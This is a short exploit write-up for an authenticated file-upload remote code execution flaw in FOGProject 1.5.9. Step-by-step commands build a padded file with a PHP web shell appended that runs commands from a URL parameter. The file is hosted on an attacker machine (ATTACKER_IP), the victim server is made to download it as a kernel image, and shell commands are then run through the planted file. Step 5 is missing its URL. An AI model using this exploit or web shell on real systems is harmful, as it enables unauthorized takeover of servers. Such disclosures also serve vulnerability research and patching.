# Exploit Title: FOGProject 1.5.9 - File Upload RCE (Authenticated)
# Date: 2021-04-28
# Exploit Author:
# Vendor Homepage:
# Software Link:
# Tested on: Debian 10

On the Attacker Machine:

1) Create an empty 10Mb file.
dd if=/dev/zero of=myshell bs=10485760 count=1

2) Add your PHP code to the end of the file created in the step 1.
echo '<?php $cmd=$_GET["cmd"]; system($cmd); ?>' >> myshell

3) Put the file "myshell" accessible through HTTP.
$ cp myshell /var/www/html

4) Encode the URL to get "myshell" file to base64 (Replacing Attacker IP).
$ echo "http://ATTACKER_IP/myshell" | base64

5) Visit 

6) Appears a textbox, change the Kernel Name (bzImage32) to myshell.php 
and click on Install.

7) Visit http://VICTIM_IP/fog/service/ipxe/myshell.php?cmd=hostname